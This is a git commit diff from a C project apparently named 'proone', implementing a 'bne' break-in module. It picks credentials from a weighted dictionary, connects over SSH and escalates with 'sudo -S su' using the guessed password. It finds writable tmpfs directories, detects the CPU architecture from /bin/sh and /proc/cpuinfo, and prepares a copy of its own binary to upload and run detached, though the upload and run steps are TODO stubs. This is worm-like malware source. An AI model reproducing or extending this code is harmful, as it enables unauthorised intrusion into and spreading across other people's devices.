diff options
author | David Timber <mieabby@gmail.com> | 2020-09-19 03:15:28 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-19 03:15:28 +0930 |
commit | 66a17c4bf5c38579e460209c2028d3275f366121 (patch) | |
tree | e169276fb0b1686abb01c0c5e794e96aaa253e13 | |
parent | 54166c46f32555532dc3c0e922fe6a591cb74128 (diff) |
Impl bne
-rw-r--r-- | src/bne.c | 1365 | ||||
-rw-r--r-- | src/bne.h | 2 | ||||
-rw-r--r-- | src/endian.h | 4 | ||||
-rw-r--r-- | src/libssh2.c | 38 | ||||
-rw-r--r-- | src/libssh2.h | 10 | ||||
-rw-r--r-- | src/proone-bne.c | 12 | ||||
-rw-r--r-- | src/util_rt.c | 21 | ||||
-rw-r--r-- | src/util_rt.h | 5 |
8 files changed, 1275 insertions, 182 deletions
@@ -5,18 +5,38 @@ #include "llist.h" #include "rnd.h" #include "libssh2.h" +#include "iobuf.h" +#include "endian.h" #include <string.h> #include <ctype.h> #include <errno.h> +#include <elf.h> + + static const struct timespec BNE_CONN_OP_TIMEOUT = { 60, 0 }; // 1m static const struct timespec BNE_SCK_OP_TIMEOUT = { 30, 0 }; // 10s static const struct timespec BNE_CLOSE_OP_TIMEOUT = { 1, 0 }; // 1s static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms + #define BNE_CONN_TIMEOUT 5000 // 5s #define BNE_CONN_ATTEMPT 3 +#define BNE_HDELAY_TYPE_MIN 150 // 150ms +#define BNE_HDELAY_TYPE_VAR 100 // 100ms +#define BNE_HDELAY_PROMPT_MIN 800 // 0.8s +#define BNE_HDELAY_PROMPT_VAR 1000 // 1s + +#define BNE_AVAIL_CMD_ECHO 0x01 +#define BNE_AVAIL_CMD_CAT 0x02 +#define BNE_AVAIL_CMD_DD 0x04 +#define BNE_AVAIL_CMD_BASE64 0x08 + +#define BNE_CMD_TERMINATOR "PRNE-EOF960ef402-b026-49b2-9434-61aa64cf44f2" +#define BNE_TERM_CMD "echo -n "BNE_CMD_TERMINATOR"\n" + + struct prne_bne { prne_iset_t cred_set; prne_rnd_t rnd; @@ -32,12 +52,53 @@ typedef struct { typedef struct { LIBSSH2_SESSION *ss; LIBSSH2_CHANNEL *ch_shell; - LIBSSH2_CHANNEL *ch_sftp; char *auth_list; int fd; prne_llist_t ports; } bne_vssh_ctx_t; +typedef unsigned int bne_avail_cmds_t; + +typedef struct { + void *ctx; + ssize_t (*read_f)( // combines stdout and stderr + void *ctx, + void *buf, + const size_t len, + pth_event_t ev); + ssize_t (*write_f)( // loops on the buf to always return len or -1 + void *ctx, + const void *buf, + const size_t len, + pth_event_t ev); + uint8_t buf[2048]; + char line[256]; + prne_iobuf_t ib; + prne_llist_t up_loc; // series of null-terminated string + bne_avail_cmds_t avail_cmds; +} bne_sh_ctx_t; + +static void bne_sh_ctx_free_mp (bne_sh_ctx_t *p) { + for (prne_llist_entry_t *e = p->up_loc.head; e != NULL; e = e->next) { + prne_free((void*)e->element); + } + prne_llist_clear(&p->up_loc); +} + +static void bne_init_sh_ctx (bne_sh_ctx_t *p) { + prne_memzero(p, sizeof(bne_sh_ctx_t)); + prne_init_llist(&p->up_loc); + prne_init_iobuf(&p->ib); + prne_iobuf_setextbuf(&p->ib, p->buf, sizeof(p->buf), 0); +} + +static void bne_free_sh_ctx (bne_sh_ctx_t *p) { + bne_sh_ctx_free_mp(p); + prne_free_llist(&p->up_loc); + + prne_memzero(p, sizeof(bne_sh_ctx_t)); +} + static bool bne_build_cred_set (prne_bne_t *ctx) { bool ret = true; @@ -83,6 +144,153 @@ static void bne_free_result_cred (prne_bne_t *ctx) { ctx->result.cred.pw = NULL; } +/* +* Does linear search to save memory. This is slow. But hey, as long as it works. +*/ +static bool bne_pop_cred ( + prne_bne_t *ctx, + const bool per_id) +{ + prne_cred_dict_entry_t *ent, *rc = NULL; + size_t coin; + uint_fast16_t w_tmp; + uint8_t wv; + prne_iset_t w_set; + prne_llist_t cl; + const char *ent_id, *ent_pw; + bool ret = true, id_match; + + if (ctx->cred_set.size == 0) { + return false; + } + if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) { + ctx->result.err = errno; + return false; + } + + prne_init_iset(&w_set); + prne_init_llist(&cl); + + // gather weight values + for (size_t i = 0; i < ctx->cred_set.size; i += 1) { + ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i]; + if (!prne_iset_insert(&w_set, (prne_iset_val_t)(ent->weight))) { + ctx->result.err = errno; + ret = false; + goto END; + } + } + + do { + w_tmp = 0; + for (size_t i = 0; i < w_set.size; i += 1) { + w_tmp += (uint_fast16_t)w_set.arr[i]; + } + + // determine weight + if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) { + ctx->result.err = errno; + ret = false; + goto END; + } + + if (w_tmp > 0) { + coin = coin % w_tmp; + + w_tmp = 0; + wv = (uint8_t)(w_set.arr[w_set.size - 1]); + for (size_t i = 0; i < w_set.size; i += 1) { + w_tmp += (uint_fast16_t)w_set.arr[i]; + if (coin < w_tmp) { + wv = (uint8_t)(w_set.arr[i]); + break; + } + } + } + else { + wv = 0; + } + + // search + prne_llist_clear(&cl); + for (size_t i = 0; i < ctx->cred_set.size; i += 1) { + ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i]; + ent_id = ctx->param.cred_dict->m + ent->id; + + if (per_id && ctx->result.cred.id != NULL) { + id_match = strcmp(ctx->result.cred.id, ent_id) == 0; + } + else { + id_match = true; + } + + if (id_match && ent->weight == wv) { + if (!prne_llist_append(&cl, (prne_llist_element_t)ent)) { + ret = false; + ctx->result.err = errno; + goto END; + } + } + } + + if (cl.size > 0) { + prne_llist_entry_t *le; + + if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) { + ctx->result.err = errno; + ret = false; + goto END; + } + coin = coin % cl.size; + + le = cl.head; + for (size_t i = 0; i < coin; i += 1) { + le = le->next; + } + + rc = (prne_cred_dict_entry_t*)le->element; + goto END; + } + else { + // try next weight value + prne_iset_erase(&w_set, (prne_iset_val_t)(wv)); + } + } while (w_set.size > 0); + +END: + prne_free_iset(&w_set); + prne_free_llist(&cl); + bne_free_result_cred(ctx); + if (rc != NULL && ret) { + size_t id_len, pw_len; + + prne_iset_erase(&ctx->cred_set, (prne_iset_val_t)rc); + + ent_id = ctx->param.cred_dict->m + rc->id; + ent_pw = ctx->param.cred_dict->m + rc->pw; + id_len = strlen(ent_id); + pw_len = strlen(ent_pw); + + ctx->result.cred.id = prne_alloc_str(id_len); + ctx->result.cred.pw = prne_alloc_str(pw_len); + if (ctx->result.cred.id == NULL || ctx->result.cred.pw == NULL) { + ctx->result.err = errno; + ret = false; + bne_free_result_cred(ctx); + } + else { + memcpy(ctx->result.cred.id, ent_id, id_len + 1); + memcpy(ctx->result.cred.pw, ent_pw, pw_len + 1); + } + } + + if (ctx->param.cb.exit_dd != NULL) { + ctx->param.cb.exit_dd(); + } + + return ret; +} + static bool bne_do_connect ( const int af, const struct sockaddr *sa, @@ -129,23 +337,836 @@ ERR: return true; } +static void bne_reset_timer ( + pth_event_t *ev, + const struct timespec *ts) +{ + pth_event_free(*ev, FALSE); + *ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(*ts)); + prne_assert(*ev != NULL); +} + +/******************************************************************************* + Telnet Vector Impl +*******************************************************************************/ +static bool bne_do_vec_telnet (prne_bne_t *ctx) { + // TODO + return false; +} + +/******************************************************************************* + Shell Op Abstraction Layer +*******************************************************************************/ +typedef struct { + char *path; + size_t weight; +} bne_mp_t; + +static int bne_mp_cmp_f (const void *a, const void *b) { + const size_t w_a = ((const bne_mp_t*)a)->weight; + const size_t w_b = ((const bne_mp_t*)b)->weight; + + return + (w_a < w_b) ? -1 : + (w_a > w_b) ? 1 : + 0; +} + +static bool bne_sh_sync ( + prne_bne_t *ctx, + bne_sh_ctx_t *s_ctx, + pth_event_t ev) +{ + size_t len; + ssize_t f_ret; + char *cterm; + + strcpy(s_ctx->line, BNE_TERM_CMD); + len = strlen(s_ctx->line); + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); + if (f_ret != (ssize_t)len) { + return false; + } + + cterm = NULL; + prne_iobuf_reset(&s_ctx->ib); + do { + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->read_f( + s_ctx->ctx, + s_ctx->ib.m + s_ctx->ib.len, + s_ctx->ib.avail, + ev); + if (f_ret <= 0) { + return false; + } + prne_iobuf_shift(&s_ctx->ib, f_ret); + cterm = prne_strnstr( + (char*)s_ctx->ib.m, + s_ctx->ib.len, + BNE_CMD_TERMINATOR, + strlen(BNE_CMD_TERMINATOR)); + } while (s_ctx->ib.avail > 0 && cterm == NULL); + if (cterm == NULL) { + return false; + } + + return true; +} + +static int bne_sh_get_uid ( + prne_bne_t *ctx, + bne_sh_ctx_t *s_ctx, + pth_event_t ev) +{ + size_t len; + ssize_t f_ret; + char *cterm; + int ret = 0; // assume uid is 0 if the command fails + + strcpy(s_ctx->line, "id -u;"BNE_TERM_CMD); + len = strlen(s_ctx->line); + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); + if (f_ret != (ssize_t)len) { + return -1; + } + + cterm = NULL; + prne_iobuf_reset(&s_ctx->ib); + do { + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->read_f( + s_ctx->ctx, + s_ctx->ib.m + s_ctx->ib.len, + s_ctx->ib.avail, + ev); + if (f_ret <= 0) { + return -1; + } + prne_iobuf_shift(&s_ctx->ib, f_ret); + cterm = prne_strnstr( + (char*)s_ctx->ib.m, + s_ctx->ib.len, + BNE_CMD_TERMINATOR, + strlen(BNE_CMD_TERMINATOR)); + } while (s_ctx->ib.avail > 0 && cterm == NULL); + if (cterm == NULL) { + return -1; + } + else { + *cterm = 0; + sscanf((char*)s_ctx->buf, "%d", &ret); + } + + return ret; +} + +static bool bne_sh_sudo ( + prne_bne_t *ctx, + bne_sh_ctx_t *s_ctx, + pth_event_t ev) +{ + static const char LF = '\n'; + char *colon; + size_t pw_len; + ssize_t f_ret; + size_t len; + char *cterm; + + strcpy(s_ctx->line, "sudo -S su;"BNE_TERM_CMD); + len = strlen(s_ctx->line); + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); + if (f_ret != (ssize_t)len) { + return false; + } + + prne_iobuf_reset(&s_ctx->ib); + do { + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->read_f( + s_ctx->ctx, + s_ctx->ib.m + s_ctx->ib.len, + s_ctx->ib.avail, + ev); + if (f_ret <= 0) { + return false; + } + prne_iobuf_shift(&s_ctx->ib, f_ret); + colon = prne_strnchr((char*)s_ctx->ib.m, ':', s_ctx->ib.len); + cterm = prne_strnstr( + (char*)s_ctx->ib.m, + s_ctx->ib.len, + BNE_CMD_TERMINATOR, + strlen(BNE_CMD_TERMINATOR)); + } while (s_ctx->ib.avail > 0 && cterm == NULL && colon == NULL); + + if (colon == NULL) { +/* +* UID is not 0, but sudo command is not available. +*/ + ctx->result.err = EPERM; + return false; + } + + pw_len = prne_nstrlen(ctx->result.cred.pw); + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + if (pw_len > 0) { + f_ret = s_ctx->write_f( + s_ctx->ctx, + ctx->result.cred.pw, + pw_len, + ev); + if (f_ret != (ssize_t)pw_len) { + return false; + } + } + // hit enter + f_ret = s_ctx->write_f(s_ctx->ctx, &LF, 1, ev); + if (f_ret != 1) { + return false; + } + + // check the uid again + if (!bne_sh_sync(ctx, s_ctx, ev) || bne_sh_get_uid(ctx, s_ctx, ev) != 0) { + // Failed to sudo + return false; + } + + return true; +} + +/* +* 1. Escalate shell if $(id -u) -ne 0 +* - Run "sudo su" +* - Wait for prompt //.*: +* - Type password +* 2. Check available commands +* - echo +* - cat +* - dd +* - base64 +* (if echo and cat not available, give up) +* 3. Find a suitable mount point for upload +* - read /proc/mounts +* - filter out ro, non-ephemeral fs +* - prioritise: +* /tmp: 4 +* /run: 3 +* /dev/shm: 2 +* /dev: 1 +* (other): 0 +* 4. Determine arch +*/ +static bool bne_sh_setup ( + prne_bne_t *ctx, + bne_sh_ctx_t *s_ctx) +{ + bool ret = false; + char *cterm, *lf, *mp; + pth_event_t ev = NULL; + size_t len; + ssize_t f_ret; + int uid; + bne_mp_t *mp_arr = NULL; + size_t mp_cnt = 0; + prne_llist_entry_t *m_ent; + uint8_t e_data = 0; + uint16_t e_machine = 0; + + bne_sh_ctx_free_mp(s_ctx); + +// TRY + // Skip banner + if (!bne_sh_sync(ctx, s_ctx, ev)) { + goto END; + } + + // Check uid + uid = bne_sh_get_uid(ctx, s_ctx, ev); + if (uid < 0) { + goto END; + } + if (uid != 0) { + // Not root. Try escalating the shell + if (!bne_sh_sudo(ctx, s_ctx, ev)) { + goto END; + } + } + + strcpy( + s_ctx->line, + "echo 2> /dev/null > /dev/null; echo $?;" + "echo | cat 2> /dev/null > /dev/null; echo $?;" + "echo | dd 2> /dev/null > /dev/null; echo $?;" + "echo | base64 2> /dev/null > /dev/null; echo $?;" + BNE_TERM_CMD); + len = strlen(s_ctx->line); + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); + if (f_ret != (ssize_t)len) { + goto END; + } + + cterm = NULL; + prne_iobuf_reset(&s_ctx->ib); + do { + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->read_f( + s_ctx->ctx, + s_ctx->ib.m + s_ctx->ib.len, + s_ctx->ib.avail, + ev); + if (f_ret <= 0) { + goto END; + } + prne_iobuf_shift(&s_ctx->ib, f_ret); + cterm = prne_strnstr( + (char*)s_ctx->ib.m, + s_ctx->ib.len, + BNE_CMD_TERMINATOR, + strlen(BNE_CMD_TERMINATOR)); + } while (s_ctx->ib.avail > 0 && cterm == NULL); + if (cterm == NULL) { + goto END; + } + else { + int r_echo, r_cat, r_dd, r_base64; + + *cterm = 0; + if (sscanf( + (char*)s_ctx->buf, + "%d %d %d %d", + &r_echo, + &r_cat, + &r_dd, + &r_base64) != 4) + { + goto END; + } + + s_ctx->avail_cmds = + (r_echo < 127 ? BNE_AVAIL_CMD_ECHO : 0) | + (r_cat < 127 ? BNE_AVAIL_CMD_CAT : 0) | + (r_dd < 127 ? BNE_AVAIL_CMD_DD : 0) | + (r_base64 < 127 ? BNE_AVAIL_CMD_BASE64 : 0); + } + + if (!((s_ctx->avail_cmds & BNE_AVAIL_CMD_ECHO) && + (s_ctx->avail_cmds & BNE_AVAIL_CMD_CAT))) + { + ctx->result.err = ENOSYS; + goto END; + } + + // read /proc/mounts + strcpy( + s_ctx->line, + "cat /proc/mounts;"BNE_TERM_CMD); + len = strlen(s_ctx->line); + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); + if (f_ret != (ssize_t)len) { + goto END; + } + + cterm = NULL; + prne_iobuf_reset(&s_ctx->ib); + do { + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->read_f( + s_ctx->ctx, + s_ctx->ib.m + s_ctx->ib.len, + s_ctx->ib.avail, + ev); + if (f_ret <= 0) { + goto END; + } + prne_iobuf_shift(&s_ctx->ib, f_ret); + + while (true) { + lf = prne_strnchr((char*)s_ctx->ib.m, '\n', s_ctx->ib.len); + if (lf == NULL) { + break; + } + *lf = 0; + + // fs + if (sscanf( + (char*)s_ctx->ib.m, + "%*s %*s %255s %*s %*d %*d", + s_ctx->line) != 1) + { + goto ENDL; + } + if (!(strcmp(s_ctx->line, "devtmpfs") == 0 || + strcmp(s_ctx->line, "tmpfs") == 0)) + { + goto ENDL; + } + // options + if (sscanf( + (char*)s_ctx->ib.m, + "%*s %*s %*s %255s %*d %*d", + s_ctx->line) != 1) + { + goto ENDL; + } + if (strstr(s_ctx->line, "rw") != s_ctx->line) { + goto ENDL; + } + // mount point + if (sscanf( + (char*)s_ctx->ib.m, + "%*s %255s %*s %*s %*d %*d", + s_ctx->line) != 1) + { + goto ENDL; + } + len = strlen(s_ctx->line); + mp = prne_alloc_str(len); + if (mp == NULL) { + ctx->result.err = errno; + goto END; + } + memcpy(mp, s_ctx->line, len + 1); + if (prne_llist_append( + &s_ctx->up_loc, + (prne_llist_element_t)mp) == NULL) + { + ctx->result.err = errno; + prne_free(mp); + goto END; + } +ENDL: + prne_iobuf_shift(&s_ctx->ib, -(lf - (char*)s_ctx->ib.m + 1)); + } + + cterm = prne_strnstr( + (char*)s_ctx->ib.m, + s_ctx->ib.len, + BNE_CMD_TERMINATOR, + strlen(BNE_CMD_TERMINATOR)); + } while (s_ctx->ib.avail > 0 && cterm == NULL); + + if (s_ctx->up_loc.size == 0) { + // no suitable mount point found + ctx->result.err = ENOSPC; + goto END; + } + + // sort candidate mount points + mp_cnt = s_ctx->up_loc.size; + mp_arr = (bne_mp_t*)prne_malloc(sizeof(bne_mp_t), mp_cnt); + if (mp_arr == NULL) { + ctx->result.err = errno; + goto END; + } + m_ent = s_ctx->up_loc.head; + for (size_t i = 0; i < mp_cnt; i += 1) { + mp = (char*)m_ent->element; + mp_arr[i].path = mp; + if (strcmp(mp, "/tmp") == 0) { + mp_arr[i].weight = 4; + } + else if (strcmp(mp, "/run") == 0) { + mp_arr[i].weight = 3; + } + else if (strcmp(mp, "/dev/shm") == 0) { + mp_arr[i].weight = 2; + } + else if (strcmp(mp, "/dev") == 0) { + mp_arr[i].weight = 1; + } + else { + mp_arr[i].weight = 0; + } + m_ent = m_ent->next; + } + prne_llist_clear(&s_ctx->up_loc); + qsort(mp_arr, mp_cnt, sizeof(bne_mp_t), bne_mp_cmp_f); + for (size_t i = 0, j = mp_cnt - 1; i < mp_cnt; i += 1, j -= 1) { + if (prne_llist_append( + &s_ctx->up_loc, + (prne_llist_element_t)mp_arr[j].path) != NULL) + { + mp_arr[j].path = NULL; + } + else { + ctx->result.err = errno; + goto END; + } + } + prne_free(mp_arr); + mp_arr = NULL; + mp_cnt = 0; + + // determine arch + strcpy(s_ctx->line, "cat /bin/sh;"BNE_TERM_CMD); + len = strlen(s_ctx->line); + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); + if (f_ret != (ssize_t)len) { + goto END; + } + + while (true) { + prne_iobuf_reset(&s_ctx->ib); + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->read_f( + s_ctx->ctx, + s_ctx->ib.m + s_ctx->ib.len, + s_ctx->ib.avail, + ev); + if (f_ret <= 0) { + goto END; + } + prne_iobuf_shift(&s_ctx->ib, f_ret); + + if (e_data == 0 && s_ctx->ib.len >= EI_NIDENT) { + if (!(s_ctx->ib.m[EI_MAG0] == ELFMAG0 && + s_ctx->ib.m[EI_MAG1] == ELFMAG1 && + s_ctx->ib.m[EI_MAG2] == ELFMAG2 && + s_ctx->ib.m[EI_MAG3] == ELFMAG3)) + { + ctx->result.err = ENOEXEC; + goto END; + } + + if (s_ctx->ib.m[EI_CLASS] == ELFCLASS32) { + const Elf32_Ehdr *hdr = (const Elf32_Ehdr*)s_ctx->ib.m; + + if (s_ctx->ib.len < sizeof(Elf32_Ehdr)) { + goto NEXT; + } + e_machine = hdr->e_machine; + } + else if (s_ctx->ib.m[EI_CLASS] == ELFCLASS64) { + const Elf64_Ehdr *hdr = (const Elf64_Ehdr*)s_ctx->ib.m; + + if (s_ctx->ib.len < sizeof(Elf64_Ehdr)) { + goto NEXT; + } + e_machine = hdr->e_machine; + } + else { + ctx->result.err = ENOEXEC; + goto END; + } + + e_data = s_ctx->ib.m[EI_DATA]; + switch (e_data) { + case ELFDATA2LSB: e_machine = prne_le16toh(e_machine); break; + case ELFDATA2MSB: e_machine = prne_be16toh(e_machine); break; + default: + ctx->result.err = ENOEXEC; + goto END; + } + } +NEXT: + cterm = prne_strnstr( + (char*)s_ctx->ib.m, + s_ctx->ib.len, + BNE_CMD_TERMINATOR, + strlen(BNE_CMD_TERMINATOR)); + if (cterm != NULL) { + break; + } + } + + if (e_data == 0) { + ctx->result.err = ENOEXEC; + goto END; + } + if (e_machine == EM_ARM) { + bool seen_v7 = false, seen_vfp = false, seen_thumb = false; + + // read /proc/cpuinfo + strcpy(s_ctx->line, "cat /proc/cpuinfo;"BNE_TERM_CMD); + len = strlen(s_ctx->line); + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); + if (f_ret != (ssize_t)len) { + goto END; + } + + cterm = NULL; + prne_iobuf_reset(&s_ctx->ib); + do { + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->read_f( + s_ctx->ctx, + s_ctx->ib.m + s_ctx->ib.len, + s_ctx->ib.avail, + ev); + if (f_ret <= 0) { + goto END; + } + prne_iobuf_shift(&s_ctx->ib, f_ret); + + while (true) { + lf = prne_strnchr((char*)s_ctx->ib.m, '\n', s_ctx->ib.len); + if (lf == NULL) { + break; + } + *lf = 0; + prne_transstr((char*)s_ctx->ib.m, tolower); + + if (ctx->result.arch == PRNE_ARCH_NONE) { + if (strstr((char*)s_ctx->ib.m, "processor") == + (char*)s_ctx->ib.m || + strstr((char*)s_ctx->ib.m, "model name") == + (char*)s_ctx->ib.m) + { + if (strstr((char*)s_ctx->ib.m, "v7") != NULL) { + seen_v7 = true; + } + } + else if (strstr((char*)s_ctx->ib.m, "features") == + (char*)s_ctx->ib.m) + { + if (strstr((char*)s_ctx->ib.m, "vfp") != NULL) { + seen_vfp = true; + } + if (strstr((char*)s_ctx->ib.m, "thumb") != NULL) { + seen_thumb = true; + } + } + } + + prne_iobuf_shift(&s_ctx->ib, -(lf - (char*)s_ctx->ib.m + 1)); + } + + cterm = prne_strnstr( + (char*)s_ctx->ib.m, + s_ctx->ib.len, + BNE_CMD_TERMINATOR, + strlen(BNE_CMD_TERMINATOR)); + } while (s_ctx->ib.avail > 0 && cterm == NULL); + + if (seen_v7 && seen_vfp && seen_thumb) { + ctx->result.arch = PRNE_ARCH_ARMV7; + } + else { + ctx->result.arch = PRNE_ARCH_ARMV4T; + } + } + else { + switch (e_data) { + case ELFDATA2LSB: + switch (e_machine) { + case EM_386: ctx->result.arch = PRNE_ARCH_I686; break; + case EM_X86_64: ctx->result.arch = PRNE_ARCH_X86_64; break; + case EM_AARCH64: ctx->result.arch = PRNE_ARCH_AARCH64; break; + case EM_MIPS: ctx->result.arch = PRNE_ARCH_MPSL; break; + case EM_SH: ctx->result.arch = PRNE_ARCH_SH4; break; + case EM_ARC: ctx->result.arch = PRNE_ARCH_ARC; break; + } + break; + case ELFDATA2MSB: + switch (e_machine) { + case EM_MIPS: ctx->result.arch = PRNE_ARCH_MIPS; break; + case EM_PPC: ctx->result.arch = PRNE_ARCH_PPC; break; + case EM_68K: ctx->result.arch = PRNE_ARCH_M68K; break; + case EM_ARC: ctx->result.arch = PRNE_ARCH_ARCEB; break; + } + break; + } + } + + ret = ctx->result.arch != PRNE_ARCH_NONE; + +END: // CATCH + for (size_t i = 0; i < mp_cnt; i += 1) { + prne_free(mp_arr[i].path); + } + prne_free(mp_arr); + pth_event_free(ev, FALSE); + return ret; +} + +/* +* mkdir "$(dir)/.prne" && +* cd "$(dir)/.prne" && +* touch "$exec_name" && +* chmod "$mode" "$exec_name" +*/ +static bool bne_sh_prep_upload ( + prne_bne_t *ctx, + bne_sh_ctx_t *s_ctx, + const char *dir, + const char *exec_name, + const char *mode) +{ + // TODO + return false; +} + +/* +* When upload fails +* rm -rf "$(dir)/.prne" +*/ +static bool bne_sh_cleanup_upload ( + prne_bne_t *ctx, + bne_sh_ctx_t *s_ctx, + const char *dir) +{ + // TODO + return false; +} + +/* +* - echo -ne > "$exec" +* - echo -ne "binary" >> "$exec" +*/ +static bool bne_sh_upload_echo ( + prne_bne_t *ctx, + bne_sh_ctx_t *s_ctx, + const char *exec) +{ + // TODO + return false; +} + +/* +* - Run executable: "./$exec" & disown +*/ +static bool bne_sh_run_exec ( + prne_bne_t *ctx, + bne_sh_ctx_t *s_ctx, + const char *exec) +{ + // TODO + return false; +} + +static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { + static const bne_avail_cmds_t IMPL_UPLOAD_METHODS = + BNE_AVAIL_CMD_ECHO; + bool ret = false; + bne_avail_cmds_t avail_cmd, cur_cmd; + bool (*upload_f)(prne_bne_t *ctx, bne_sh_ctx_t *s_ctx, const char *exec); + char *exec_name = NULL; + prne_bin_rcb_ctx_t rcb; + + prne_init_bin_rcb_ctx(&rcb); + +// TRY + exec_name = ctx->param.cb.exec_name(); + if (exec_name == NULL) { + ctx->result.err = errno; + goto END; + } + + if (!bne_sh_setup(ctx, sh_ctx)) { + goto END; + } + + ctx->result.prc = prne_start_bin_rcb( + &rcb, + ctx->result.arch, + ctx->param.rcb.self, + ctx->param.rcb.m_self, + ctx->param.rcb.self_len, + ctx->param.rcb.exec_len, + ctx->param.rcb.m_dv, + ctx->param.rcb.dv_len, + ctx->param.rcb.ba); + if (ctx->result.prc == PRNE_PACK_RC_NO_ARCH) { + // retry with compatible arch if available + switch (ctx->result.arch) { + case PRNE_ARCH_AARCH64: + case PRNE_ARCH_ARMV7: + ctx->result.arch = PRNE_ARCH_ARMV4T; + break; + case PRNE_ARCH_X86_64: + ctx->result.arch = PRNE_ARCH_I686; + break; + default: goto END; + } + ctx->result.prc = prne_start_bin_rcb( + &rcb, + ctx->result.arch, + ctx->param.rcb.self, + ctx->param.rcb.m_self, + ctx->param.rcb.self_len, + ctx->param.rcb.exec_len, + ctx->param.rcb.m_dv, + ctx->param.rcb.dv_len, + ctx->param.rcb.ba); + } + if (ctx->result.prc != PRNE_PACK_RC_OK) { + goto END; + } + + for (prne_llist_entry_t *ent = sh_ctx->up_loc.head; + ent != NULL; + ent = ent->next) + { + char *mp = (char*)ent->element; + + avail_cmd = sh_ctx->avail_cmds & IMPL_UPLOAD_METHODS; + while (true) { + upload_f = NULL; + + cur_cmd = avail_cmd & BNE_AVAIL_CMD_ECHO; + if (cur_cmd) { + avail_cmd &= ~cur_cmd; + upload_f = bne_sh_upload_echo; + goto START_UPLOAD; + } + +START_UPLOAD: + if (upload_f == NULL) { + break; + } + + ret = bne_sh_prep_upload( + ctx, + sh_ctx, + mp, + exec_name, + "700"); + if (ret) { + ret = upload_f(ctx, sh_ctx, exec_name); + if (ret) { + ret = bne_sh_run_exec(ctx, sh_ctx, exec_name); + if (ret) { + goto END; + } + } + bne_sh_cleanup_upload(ctx, sh_ctx, mp); + } + } + } + +END: // CATCH + prne_free_bin_rcb_ctx(&rcb); + prne_free(exec_name); + + return ret; +} + +/******************************************************************************* + SSH Vector Impl +*******************************************************************************/ static void bne_vssh_discon ( bne_vssh_ctx_t *vs, const struct timespec *to, const int reason, const char *desc) { - pth_event_t ev; + pth_event_t ev = NULL; if (vs->ss == NULL) { return; } - ev = pth_event( - PTH_EVENT_TIME, - prne_pth_tstimeout(*to)); - prne_assert(ev != NULL); - + bne_reset_timer(&ev, to); prne_lssh2_discon(vs->ss, vs->fd, reason, desc, "", ev); pth_event_free(ev, FALSE); } @@ -169,19 +1190,15 @@ static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { struct sockaddr_in *sa4; struct sockaddr_in6 *sa6; socklen_t sl; - int af; - pth_event_t ev; + int af, f_ret; + pth_event_t ev = NULL; const struct timespec *pause = NULL; if (vs->ss != NULL) { return true; } - ev = pth_event( - PTH_EVENT_TIME, - prne_pth_tstimeout(BNE_CONN_OP_TIMEOUT)); - prne_assert(ev != NULL); - + bne_reset_timer(&ev, &BNE_CONN_OP_TIMEOUT); while (vs->ports.size > 0 && pth_event_status(ev) != PTH_STATUS_OCCURRED) { bne_port_t *p = (bne_port_t*)vs->ports.head->element; @@ -215,6 +1232,13 @@ static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { default: continue; } + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { + prne_dbgpf( + "bne@%"PRIxPTR"\t: knocking %"PRIu16"\n", + (uintptr_t)ctx, + p->port); + } + if (!bne_do_connect(af, (struct sockaddr*)m_sa, sl, &vs->fd, ev)) { ctx->result.err = errno; goto END; @@ -234,7 +1258,14 @@ static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { } libssh2_session_set_blocking(vs->ss, 0); - if (prne_lssh2_handshake(vs->ss, vs->fd, ev) == 0) { + f_ret = prne_lssh2_handshake(vs->ss, vs->fd, ev); + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { + prne_dbgpf( + "bne@%"PRIxPTR"\t: handshake %d\n", + (uintptr_t)ctx, + f_ret); + } + if (f_ret == 0) { ctx->result.err = 0; ret = true; break; @@ -260,154 +1291,6 @@ END: return ret; } -/* -* -* Does linear search to save memory. This is slow. But hey, as long as it works. -*/ -static bool bne_pop_cred ( - prne_bne_t *ctx, - const bool per_id) -{ - prne_cred_dict_entry_t *ent, *rc = NULL; - size_t coin; - uint_fast16_t w_tmp; - uint8_t wv; - prne_iset_t w_set; - prne_llist_t cl; - const char 